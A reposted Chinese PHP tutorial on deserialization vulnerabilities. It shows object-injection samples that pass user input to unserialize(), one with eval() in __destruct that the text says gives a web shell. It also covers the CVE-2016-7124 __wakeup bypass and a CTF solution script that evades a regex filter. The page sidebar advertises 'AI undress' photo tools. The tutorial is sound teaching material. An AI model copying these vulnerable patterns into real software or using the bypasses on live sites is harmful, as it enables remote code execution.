搜尋
首頁後端開發php教程詳解之php反序列化
詳解之php反序列化Jul 11, 2020 pm 05:49 PM
php反序列化

詳解之php反序列化

1  前言

最近也是在複習之前學過的內容,感覺對PHP反序列化的理解更深了,所以在這裡總結一下

2  serialize()函數

     「所有php裡面的值都可以使用函數serialize()來傳回一個包含字節流的字串來表示。序列化一個物件將會保存物件的所有變量,但是不會保存物件的方法,只會保存類別的名字。」

一開始看這個概念可能有些懵,但之後也是慢慢理解了

在程式執行結束時,內存數據便會立即銷毀,變量所儲存的數據便是內存數據,而文件、數據庫是“持久數據”,因此PHP序列化就是將記憶體的變數資料「保存」到檔案中的持久性資料的過程。

相關學習推薦:PHP程式設計從入門到精通

 $s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

下面透過一個具體的例子來了解序列化:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39;is&#39;.$this->age.&#39;years old. <br />&#39;;
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = &#39;daye&#39;;

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

這個是結果:

可以看到序列化一個物件後將會保存物件的所有變量,並且發現序列化後的結果都有一個字符,這些字元都是以下字母的縮寫。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

了解了縮寫的類型字母,便可以得到PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

透過以上例子,便可以理解了概念中的透過serialize()函數傳回一個包含位元組流的字串這一段話。

3  u​​nserialize()函數

#unserialize() 對單一的已序列化的變數進行操作,將其轉換回PHP 的值。在解序列化一個物件之前,這個物件的類別必須在解序列化之前定義。 

簡單來理解起來就算將序列化過儲存到檔案中的數據,恢復到程式碼的變數表示形式的過程,恢復到變數序列化之前的結果。

 $s = file_get_contents(‘./目标文本文件&#39;); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

透過一個例子來了解反序列化:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39; is &#39;.$this->age.&#39; years old. <br />&#39;;
  }
}
//重建对象
$user = unserialize(&#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}&#39;);

$user->PrintData();

?>

這個是結果:

##注意:在解序列化一個物件之前,這個物件的類別必須在解序列化之前定義。否則會報錯

4  PHP反序列化漏洞

在學習漏洞前,先來了解PHP魔法函數,對接下來的學習會很有幫助

PHP 將所有以__(兩個底線)開頭的類別方法保留為魔術方法

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

這裡只列出了一部分的魔法函數,

下面透過一個例子來了解魔法函數被自動呼叫的過程

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array(&#39;varr1&#39;,&#39;varr2&#39;);
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

這個是結果:

透過這個例子就可以清晰的看到魔法函數在符合對應的條件時就會被呼叫。

5  物件注入

當使用者的請求在傳給反序列化函數unserialize()之前沒有被正確的篩選時就會產生漏洞。因為PHP允許物件序列化,攻擊者就可以提交特定的序列化的字串給一個具有該漏洞的unserialize函數,最終導致一個在該應用範圍內的任意PHP物件注入。

物件漏洞出現得符合兩個前提:

       一、unserialize的參數可控制。 

       二、 程式碼裡有定義一個含有魔術方法的類,且該方法裡出現一些使用類別成員變數作為參數的存在安全問題的函數。

下面來舉個例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

例如這個列子,直接是使用者產生的內容傳遞給unserialize()函數,那就可以建構這樣的語句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在腳本運行結束後便會呼叫_destruct函數,同時會覆寫test變數輸出lemon。

發現這個漏洞,便可以利用這個漏洞點控制輸入變量,拼接成一個序列化物件。

再看一個例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

其實仔細觀察就會發現,其實我們手動建構序列化物件就是為了unserialize()函數能夠觸發__destruc()函數,然後執行在_ _destruc()函數裡惡意的語句。

所以我們利用這個漏洞點便可以取得web shell了

#6  繞過魔法函數的反序列化

wakeup()魔法函式繞過

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

    (1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = &#39;Gu3ss_m3_h2h2.php&#39;;

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != &#39;Gu3ss_m3_h2h2.php&#39;) {
      //the secret is in the f15g_1s_here.php
      $this->file = &#39;Gu3ss_m3_h2h2.php&#39;;
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo(&#39;f15g_1s_here.php&#39;);
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace(&#39;O:4:&#39;,&#39;O:+4:&#39;,$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(&#39;:1:&#39;,&#39;:2:&#39;,$a);
#再进行base64编码
echo base64_encode($a);
?>

以上是詳解之php反序列化的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:jb51。如有侵權,請聯絡admin@php.cn刪除
php怎么把负数转为正整数php怎么把负数转为正整数Apr 19, 2022 pm 08:59 PM

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

php怎么实现几秒后执行一个函数php怎么实现几秒后执行一个函数Apr 24, 2022 pm 01:12 PM

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php字符串有没有下标php字符串有没有下标Apr 24, 2022 am 11:49 AM

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

php怎么除以100保留两位小数php怎么除以100保留两位小数Apr 22, 2022 pm 06:23 PM

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

php怎么读取字符串后几个字符php怎么读取字符串后几个字符Apr 22, 2022 pm 08:31 PM

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

php怎么根据年月日判断是一年的第几天php怎么根据年月日判断是一年的第几天Apr 22, 2022 pm 05:02 PM

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php怎么替换nbsp空格符php怎么替换nbsp空格符Apr 24, 2022 pm 02:55 PM

方法:1、用“str_replace("&nbsp;","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\&nbsp\;||\xc2\xa0)/","其他字符",$str)”语句。

php怎么查找字符串是第几位php怎么查找字符串是第几位Apr 22, 2022 pm 06:48 PM

查找方法:1、用strpos(),语法“strpos("字符串值","查找子串")+1”;2、用stripos(),语法“strpos("字符串值","查找子串")+1”。因为字符串是从0开始计数的,因此两个函数获取的位置需要进行加1处理。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

將Eclipse與SAP NetWeaver應用伺服器整合。